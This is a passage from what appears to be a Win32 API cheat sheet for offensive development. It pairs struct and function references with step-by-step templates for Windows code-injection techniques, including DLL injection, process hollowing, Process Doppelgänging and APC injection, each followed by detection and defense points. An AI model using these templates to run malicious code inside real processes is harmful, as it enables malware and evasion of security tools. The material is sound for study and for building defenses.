DWORD WSAWaitForMultipleEvents( DWORD cEvents, const WSAEVENT *lphEvents, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.
Resource Management
FindResource
HRSRC FindResource( [in, optional] HMODULE hModule, // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process. [in] LPCSTR lpName, // The name of the resource. [in] LPCSTR lpType // The resource type. ); // Determines the location of a resource with the specified type and name in the specified module.
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
LoadResource
HGLOBAL LoadResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. [in] HRSRC hResInfo // A handle to the resource to be loaded. ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);
LockResource
LPVOID LockResource( [in] HGLOBAL hResData // A handle to the resource to be accessed ); // Retrieves a pointer to the specified resource in memory.
unsigned char * payload = (char *) LockResource(resHandle);
SizeofResource
DWORD SizeofResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource ); // Retrieves the size, in bytes, of the specified resource.
unsigned int payload_len = SizeofResource(NULL, res);
Unicode String Functions
#include <wchar.h> // for wide character string routines
String Length
size_t wcslen( const wchar_t *str ); // Returns the length of the given wide string.
String Copy
[wcscpy]
wchar_t *wcscpy( wchar_t *dest, const wchar_t *src ); // Copies the wide string from src to dest.
[wcsncpy]
wchar_t *wcsncpy( wchar_t *dest, const wchar_t *src, size_t count ); // Copies at most count characters from the wide string src to dest.
String Concatenation
[wcscat]
wchar_t *wcscat( wchar_t *dest, const wchar_t *src ); // Appends the wide string src to the end of the wide string dest.
[wcsncat]
wchar_t *wcsncat( wchar_t *dest, const wchar_t *src, size_t count ); // Appends at most count characters from the wide string src to the end of the wide string dest.
String Comparison
[wcscmp]
int wcscmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically.
[wcsncmp]
int wcsncmp( const wchar_t *str1, const wchar_t *str2, size_t count ); // Compares up to count characters of two wide strings lexicographically.
[_wcsicmp]
int _wcsicmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically, ignoring case.
[_wcsnicmp]
int _wcsnicmp( const wchar_t *str1, const wchar_t *str2, size_t count ); // Compares up to count characters of two wide strings lexicographically, ignoring case.
String Search
[wcschr]
wchar_t *wcschr( const wchar_t *str, wchar_t c ); // Finds the first occurrence of the wide character c in the wide string str.
[wcsrchr]
wchar_t *wcsrchr( const wchar_t *str, wchar_t c ); // Finds the last occurrence of the wide character c in the wide string str.
[wcspbrk]
wchar_t *wcspbrk( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.
[wcsstr]
wchar_t *wcsstr( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence of the wide string str2 in the wide string str1.
[wcstok]
wchar_t *wcstok( wchar_t *str, const wchar_t *delimiters ); // Splits the wide string str into tokens based on the delimiters.
Character Classification and Conversion
[towupper]
wint_t towupper( wint_t c ); // Converts a wide character to uppercase.
[towlower]
wint_t towlower( wint_t c ); // Converts a wide character to lowercase.
[iswalpha]
int iswalpha( wint_t c ); // Checks if the wide character is an alphabetic character.
[iswdigit]
int iswdigit( wint_t c ); // Checks if the wide character is a decimal digit.
[iswalnum]
int iswalnum( wint_t c ); // Checks if the wide character is an alphanumeric character.
[iswspace]
int iswspace( wint_t c ); // Checks if the wide character is a whitespace character.
[iswxdigit]
int iswxdigit( wint_t c ); // Checks if the wide character is a valid hexadecimal digit.
Win32 Structs Cheat Sheet
Common Structs
SYSTEM_INFO
#include <sysinfoapi.h> // Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size. typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO;
FILETIME
#include <minwinbase.h> // Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time. typedef struct _FILETIME { DWORD dwLowDateTime; DWORD dwHighDateTime; } FILETIME;
STARTUPINFO
#include <processthreadsapi.h> // Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA;
PROCESS_INFORMATION
#include <processthreadsapi.h> // Contains information about a newly created process and its primary thread. typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
PROCESSENTRY32
#include <tlhelp32.h> typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32;
SECURITY_ATTRIBUTES
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object. typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
OVERLAPPED
#inluce <minwinbase.h> // Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations. typedef struct _OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh; union { struct { DWORD Offset; DWORD OffsetHigh; } DUMMYSTRUCTNAME; PVOID Pointer; } DUMMYUNIONNAME; HANDLE hEvent; } OVERLAPPED, *LPOVERLAPPED;
GUID
#include <guiddef.h> // Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items. typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID;
MEMORY_BASIC_INFORMATION
#include <winnt.h> // Contains information about a range of pages in the virtual address space of a process. typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
SYSTEMTIME
#include <minwinbase.h> // Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond. typedef struct _SYSTEMTIME { WORD wYear; WORD wMonth; WORD wDayOfWeek; WORD wDay; WORD wHour; WORD wMinute; WORD wSecond; WORD wMilliseconds; } SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;
COORD
// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner. typedef struct _COORD { SHORT X; SHORT Y; } COORD, *PCOORD;
SMALL_RECT
// Defines the coordinates of the upper left and lower right corners of a rectangle. typedef struct _SMALL_RECT { SHORT Left; SHORT Top; SHORT Right; SHORT Bottom; } SMALL_RECT;
CONSOLE_SCREEN_BUFFER_INFO
// Contains information about a console screen buffer. typedef struct _CONSOLE_SCREEN_BUFFER_INFO { COORD dwSize; COORD dwCursorPosition; WORD wAttributes; SMALL_RECT srWindow; COORD dwMaximumWindowSize; } CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;
WSADATA
#include <winsock.h> // Contains information about the Windows Sockets implementation. typedef struct WSAData { WORD wVersion; WORD wHighVersion; unsigned short iMaxSockets; unsigned short iMaxUdpDg; char FAR *lpVendorInfo; char szDescription[WSADESCRIPTION_LEN+1]; char szSystemStatus[WSASYS_STATUS_LEN+1]; } WSADATA, *LPWSADATA;
[CRITICAL_SECTION
](struct RTL_CRITICAL_SECTION (nirsoft.net))
// Represents a critical section object, which is used to provide synchronization access to a shared resource. typedef struct _RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; LONG LockCount; LONG RecursionCount; HANDLE OwningThread; HANDLE LockSemaphore; ULONG_PTR SpinCount; } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
WSAPROTOCOL_INFO
#include <winsock2.h> // Contains Windows Sockets protocol information. typedef struct _WSAPROTOCOL_INFOA { DWORD dwServiceFlags1; DWORD dwServiceFlags2; DWORD dwServiceFlags3; DWORD dwServiceFlags4; DWORD dwProviderFlags; GUID ProviderId; DWORD dwCatalogEntryId; WSAPROTOCOLCHAIN ProtocolChain; int iVersion; int iAddressFamily; int iMaxSockAddr; int iMinSockAddr; int iSocketType; int iProtocol; int iProtocolMaxOffset; int iNetworkByteOrder; int iSecurityScheme; DWORD dwMessageSize; DWORD dwProviderReserved; CHAR szProtocol[WSAPROTOCOL_LEN+1]; } WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;
MSGHDR
#include <ws2def.h> // Contains message information for use with the `sendmsg` and `recvmsg` functions. typedef struct _WSAMSG { LPSOCKADDR name; INT namelen; LPWSABUF lpBuffers; ULONG dwBufferCount; WSABUF Control; ULONG dwFlags; } WSAMSG, *PWSAMSG, *LPWSAMSG;
Win32 Sockets Structs Cheat Sheet (winsock.h)
SOCKADDR
// A generic socket address structure used for compatibility with various address families. typedef struct sockaddr { u_short sa_family; char sa_data[14]; } SOCKADDR, *PSOCKADDR, *LPSOCKADDR;
SOCKADDR_IN
// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family. typedef struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; } SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;
LINGER
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed. typedef struct linger { u_short l_onoff; u_short l_linger; } LINGER, *PLINGER, *LPLINGER;
TIMEVAL
// Represents a time interval, used with the `select` function to specify a timeout period. typedef struct timeval { long tv_sec; long tv_usec; } TIMEVAL, *PTIMEVAL, *LPTIMEVAL;
FD_SET
// Represents a set of sockets used with the `select` function to check for socket events. typedef struct fd_set { u_int fd_count; SOCKET fd_array[FD_SETSIZE]; } fd_set, *Pfd_set, *LPfd_set;
Win32 Sockets Structs Cheat Sheet (winsock2.h)
IN_ADDR
// Represents an IPv4 address. typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
Win32 Sockets Structs Cheat Sheet (ws2def.h)
ADDRINFO
#include <ws2def.h> // Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses. typedef struct addrinfoW { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; PWSTR *ai_canonname; struct sockaddr *ai_addr; struct addrinfo *ai_next; } ADDRINFOW, *PADDRINFOW;
WSABUF
#include <ws2def.h> // Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations. typedef struct _WSABUF { ULONG len; __field_bcount(len) CHAR FAR *buf; } WSABUF, FAR * LPWSABUF;
SOCKADDR_IN6
#include <ws2ipdef.h> // Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family. typedef struct sockaddr_in6 { short sin6_family; u_short sin6_port; u_long sin6_flowinfo; struct in6_addr sin6_addr; u_long sin6_scope_id; } SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;
IN6_ADDR
#include <in6addr.h> // Represents an IPv6 address. typedef struct in6_addr { union { u_char Byte[16]; u_short Word[8]; } u; } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
Code Injection Techniques
1. DLL Injection
This technique forces a process to load a malicious DLL.
Key APIs:
OpenProcess
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
VirtualAllocEx
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
WriteProcessMemory
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
CreateRemoteThread
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
GetProcAddress
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
LoadLibrary
HMODULE LoadLibraryA( LPCSTR lpLibFileName );
NtCreateThread
(Undocumented)NTSTATUS NTAPI NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended );
RtlCreateUserThread
(Undocumented)NTSTATUS NTAPI RtlCreateUserThread( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientId );
Template:
- Open the target process with
OpenProcess
- Allocate memory in the target process with
VirtualAllocEx
- Write the DLL path to the allocated memory with
WriteProcessMemory
- Get the address of
LoadLibraryA
usingGetProcAddress
- Create a remote thread in the target process with
CreateRemoteThread
, pointing toLoadLibraryA
pass the address ofLoadLibraryA
as thelpStartAddress
parameter. - (Optional) Use
NtCreateThread
orRtlCreateUserThread
for alternative thread creation methods
Detection and Defense:
- Monitor for suspicious process access and memory allocation patterns
- Use application whitelisting to prevent unauthorized DLLs from loading
- Implement process integrity checks
- Use tools like Microsoft’s Process Monitor to detect DLL injection attempts
2. PE Injection
This technique involves writing and executing malicious code in a remote process or the same process (self-injection).
Key APIs:
OpenThread
HANDLE OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
SuspendThread
DWORD SuspendThread( HANDLE hThread );
VirtualAllocEx
(see above)WriteProcessMemory
(see above)SetThreadContext
BOOL SetThreadContext( HANDLE hThread, const CONTEXT *lpContext );
ResumeThread
DWORD ResumeThread( HANDLE hThread );
NtResumeThread
(Undocumented)NTSTATUS NTAPI NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL );
Template:
- Open the target thread with
OpenThread
- Suspend the thread with
SuspendThread
- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious code to the allocated memory with
WriteProcessMemory
- Modify the thread context to point to the injected code with
SetThreadContext
- Resume the thread with
ResumeThread
orNtResumeThread
Detection and Defense:
- Monitor for unusual thread suspension and resumption patterns
- Implement memory integrity checks
- Use Endpoint Detection and Response (EDR) solutions to detect suspicious memory modifications
- Employ runtime process memory scanning techniques
3. Reflective Injection
Similar to PE Injection but avoids using LoadLibrary
and CreateRemoteThread
. Involves writing a custom loader that can load a DLL from memory without using the standard Windows loader.
Key APIs:
CreateFileMapping
HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
MapViewOfFile
LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
OpenProcess
(see above)memcpy
void *memcpy( void *dest, const void *src, size_t count );
ZwMapViewOfSection
(Documented for kernel-mode)NTSTATUS ZwMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
CreateThread
(see CreateRemoteThread above)NtQueueApcThread
(Undocumented)NTSTATUS NTAPI NtQueueApcThread( IN HANDLE ThreadHandle, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcRoutineContext OPTIONAL, IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, IN ULONG ApcReserved OPTIONAL );
RtlCreateUserThread
(see above)
Additional APIs sometimes used:
VirtualQueryEx
SIZE_T VirtualQueryEx( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength );
ReadProcessMemory
BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );
Template:
- Create a file mapping of the DLL with
CreateFileMapping
- Map a view of the file with
MapViewOfFile
- Open the target process with
OpenProcess
- Allocate memory in the target process with
VirtualAllocEx
- Copy the DLL contents to the allocated memory with
WriteProcessMemory
- Perform manual loading and relocation of the DLL in the target process
- Parse the PE headers
- Allocate memory for each section
- Copy sections to allocated memory
- Process the relocation table:
- Enumerate relocation entries
- Apply relocations based on the new base address
- Resolve imports:
- Walk the import directory
- For each imported function, resolve its address using GetProcAddress
- Write the resolved addresses to the IAT
- Execute the DLL’s entry point using one of the thread creation methods
Detection and Defense:
- Implement advanced memory scanning techniques to detect injected code
- Use behavior-based detection to identify suspicious memory allocation patterns
- Monitor for unusual file mapping operations
- Employ heuristic-based detection methods to identify reflective loaders
4. APC Injection
This technique allows code execution in a specific thread by attaching to an Asynchronous Procedure Call (APC) queue. Works best with alertable threads (those that call alertable wait functions).
Key APIs:
CreateToolhelp32Snapshot
HANDLE CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID );
Process32First
BOOL Process32First( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
Process32Next
BOOL Process32Next( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
Thread32First
BOOL Thread32First( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
Thread32Next
BOOL Thread32Next( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );
KeInitializeAPC
(Kernel-mode, undocumented)VOID KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext );
Template:
- Create a snapshot of the system processes with
CreateToolhelp32Snapshot
- Enumerate processes and threads using
Process32First
,Process32Next
,Thread32First
, andThread32Next
- Open the target process with
OpenProcess
- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious code to the allocated memory with
WriteProcessMemory
- Queue an APC to the target thread with
QueueUserAPC
, pointing to the injected code
Detection and Defense:
- Monitor for suspicious APC queue operations
- Implement thread execution monitoring to detect unexpected code execution
- Use EDR solutions with capabilities to detect APC abuse
- Employ runtime analysis to identify unusual thread behavior
5. Process Hollowing (Process Replacement)
This technique «drains out» the entire content of a process and inserts malicious content into it.
Key APIs:
CreateProcess
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
NtQueryInformationProcess
(Undocumented)NTSTATUS NTAPI NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL );
GetModuleHandle
HMODULE GetModuleHandleA( LPCSTR lpModuleName );
ZwUnmapViewOfSection
/NtUnmapViewOfSection
(Undocumented)NTSTATUS NTAPI NtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress );
VirtualAllocEx
(see above)WriteProcessMemory
(see above)GetThreadContext
BOOL GetThreadContext( HANDLE hThread, LPCONTEXT lpContext );
SetThreadContext
(see above)ResumeThread
(see above)
Template:
- Create a new process in a suspended state using
CreateProcess
withCREATE_SUSPENDED
flag - Get the process information using
NtQueryInformationProcess
- Unmap the original executable from the process using
NtUnmapViewOfSection
after unmapping the original executable, adjust the image base address in the PEB (Process Environment Block) to point to the new allocated memory. - Adjust the image base address in the PEB:
- Use
ReadProcessMemory
to read the PEB - Locate the
ImageBaseAddress
field - Use
WriteProcessMemory
to update it with the address of the newly allocated memory
- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious executable to the allocated memory with
WriteProcessMemory
- Update the thread context to point to the new entry point using
GetThreadContext
andSetThreadContext
- Resume the main thread of the process with
ResumeThread
Detection and Defense:
- Implement process integrity checks to detect hollowed processes
- Monitor for suspicious process creation patterns, especially with the
CREATE_SUSPENDED
flag - Use memory forensics tools to identify signs of process hollowing
- Employ behavior-based detection to identify processes with unexpected memory layouts
6. AtomBombing
A variant of APC injection that works by splitting the malicious payload into separate strings and using atoms. this technique relies on the fact that atoms are shared across processes.
Key APIs:
OpenThread
(see above)GlobalAddAtom
ATOM GlobalAddAtomA( LPCSTR lpString );
GlobalGetAtomName
UINT GlobalGetAtomNameA( ATOM nAtom, LPSTR lpBuffer, int nSize );
QueueUserAPC
(see above)NtQueueApcThread
(Undocumented, see above)NtSetContextThread
(Undocumented)NTSTATUS NTAPI NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext );
Template:
- Split the malicious payload into small chunks
- For each chunk, use
GlobalAddAtom
to create a global atom - Open the target thread with
OpenThread
- Queue an APC to the target thread with
QueueUserAPC
orNtQueueApcThread
- In the APC routine, use
GlobalGetAtomName
to retrieve the payload chunks - Assemble the payload in the target process memory
- Execute the payload using
NtSetContextThread
or by queuing another APC
Detection and Defense:
- Monitor for unusual patterns of atom creation and retrieval
- Implement behavior-based detection for processes accessing a large number of atoms
- Use EDR solutions with capabilities to detect AtomBombing techniques
- Employ runtime analysis to identify suspicious APC usage in combination with atom manipulation
7. Process Doppelgänging
An evolution of Process Hollowing that replaces the image before the process is created. this technique leverages the Windows Transactional NTFS (TxF) to temporarily replace a legitimate file with a malicious one during process creation.
Key APIs:
CreateTransaction
HANDLE CreateTransaction( LPSECURITY_ATTRIBUTES lpTransactionAttributes, LPGUID UOW, DWORD CreateOptions, DWORD IsolationLevel, DWORD IsolationFlags, DWORD Timeout, LPWSTR Description );
CreateFileTransacted
HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter );
NtCreateSection
(Undocumented)NTSTATUS NTAPI NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );
NtCreateProcessEx
(Undocumented)NTSTATUS NTAPI NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN ULONG Flags, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL, IN BOOLEAN InJob );
NtQueryInformationProcess
(Undocumented, see above)NtCreateThreadEx
(Undocumented)NTSTATUS NTAPI NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL );
RollbackTransaction
BOOL RollbackTransaction( HANDLE TransactionHandle );
Template:
- Create a transaction using
CreateTransaction
- Create a transacted file with
CreateFileTransacted
- Write the malicious payload to the transacted file
- Create a section for the transacted file using
NtCreateSection
- Create a process from the section using
NtCreateProcessEx
- Create a thread in the new process with
NtCreateThreadEx
- Rollback the transaction with
RollbackTransaction
to remove traces of the malicious file
Detection and Defense:
- Monitor for suspicious transactional NTFS operations
- Implement file integrity monitoring to detect temporary file replacements
- Use advanced EDR solutions capable of detecting Process Doppelgänging techniques
- Employ behavior-based detection to identify processes created from transacted files
8. Process Herpaderping
Similar to Process Doppelgänging, but exploits the order of process creation and security checks. this technique exploits the fact that Windows performs security checks on the executable file before it starts executing the process.
Key APIs:
CreateFile
HANDLE CreateFileA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
NtCreateSection
(Undocumented, see above)NtCreateProcessEx
(Undocumented, see above)NtCreateThreadEx
(Undocumented, see above)
Template:
- Create a file with
CreateFile
- Write the malicious payload to the file
- Create a section for the file using
NtCreateSection
- Overwrite the file content with benign data
- Create a process from the section using
NtCreateProcessEx
- Create a thread in the new process with
NtCreateThreadEx
Detection and Defense:
- Implement file integrity monitoring to detect rapid changes in executable files
- Use behavior-based detection to identify processes with mismatched file contents
- Employ advanced EDR solutions capable of detecting Process Herpaderping techniques
- Monitor for suspicious patterns of file creation, modification, and process creation
9. Hooking Injection
This technique uses hooking-related functions to inject a malicious DLL. this technique can also be used for API hooking, not just for injection.
Key APIs:
SetWindowsHookEx
HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
PostThreadMessage
BOOL PostThreadMessageA( DWORD idThread, UINT Msg, WPARAM wParam, LPARAM lParam );
Template:
- Create a DLL containing the hook procedure
- Use
SetWindowsHookEx
to set a hook in the target process - Trigger the hook by sending a message with
PostThreadMessage
Detection and Defense:
- Monitor for suspicious usage of
SetWindowsHookEx
, especially with global hooks - Implement API hooking detection mechanisms
- Use EDR solutions with capabilities to detect abnormal hook installations
- Employ behavior-based detection to identify processes with unexpected loaded modules
10. Extra Windows Memory Injection
This technique injects code into a process by using the Extra Windows Memory (EWM), which is appended to the instance of a class during window class registration. less common and might be detected by some security solutions.
Key APIs:
FindWindowA
HWND FindWindowA( LPCSTR lpClassName, LPCSTR lpWindowName );
GetWindowThreadProcessId
DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );
OpenProcess
(see above)VirtualAllocEx
(see above)WriteProcessMemory
(see above)SetWindowLongPtrA
LONG_PTR SetWindowLongPtrA( HWND hWnd, int nIndex, LONG_PTR dwNewLong );
SendNotifyMessage
BOOL SendNotifyMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
Template:
- Find the target window with
FindWindowA
- Get the process ID of the window with
GetWindowThreadProcessId
- Open the process with
OpenProcess
- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious code to the allocated memory with
WriteProcessMemory
- Use
SetWindowLongPtrA
to modify the window’s extra memory - Trigger the execution with
SendNotifyMessage
Detection and Defense:
- Monitor for suspicious modifications to window properties
- Implement integrity checks for window class data
- Use EDR solutions with capabilities to detect EWM manipulation
- Employ behavior-based detection to identify processes with unexpected changes in window properties
11. Propagate Injection
This technique is used to inject malicious code into processes with medium integrity level, such as explorer.exe. It works by enumerating windows and subclassing them. can be particularly effective for privilege escalation.
Key APIs:
EnumWindows
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
EnumChildWindows
BOOL EnumChildWindows( HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam );
EnumProps
int EnumPropsA( HWND hWnd, PROPENUMPROCA lpEnumFunc );
GetProp
HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
SetWindowSubclass
BOOL SetWindowSubclass( HWND hWnd, SUBCLASSPROC pfnSubclass, UINT_PTR uIdSubclass, DWORD_PTR dwRefData );
FindWindow
(see above)FindWindowEx
(see above)GetWindowThreadProcessId
(see above)OpenProcess
(see above)ReadProcessMemory
(see above)VirtualAllocEx
(see above)WriteProcessMemory
(see above)SetPropA
BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
PostMessage
BOOL PostMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
Template:
- Enumerate windows using
EnumWindows
andEnumChildWindows
- For each window, check for subclassed windows using
EnumProps
andGetProp
- Open the target process with
OpenProcess
